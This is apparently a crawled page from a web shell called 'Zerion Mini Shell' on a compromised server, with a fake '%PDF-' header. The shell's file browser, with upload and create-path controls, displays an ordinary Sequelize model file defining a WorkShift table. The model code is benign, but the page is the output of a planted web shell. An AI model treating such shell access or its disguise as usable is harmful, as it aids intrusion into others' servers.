%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/models/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/models/workshift.js

'use strict';
module.exports = (sequelize, DataTypes) => {
  const WorkShift = sequelize.define('WorkShift', {
    orgId: {
      type: DataTypes.UUID,
      defaultValue: DataTypes.UUIDV4
    },
    title: DataTypes.STRING,
    description: DataTypes.STRING,
    from: DataTypes.TIME,
    to: DataTypes.TIME,
    uuid: {
      type: DataTypes.UUID,
      defaultValue: DataTypes.UUIDV4
    }
  }, {});
  WorkShift.associate = function(models) {
    // associations can be defined here
  };
  return WorkShift;
};

Zerion Mini Shell 1.0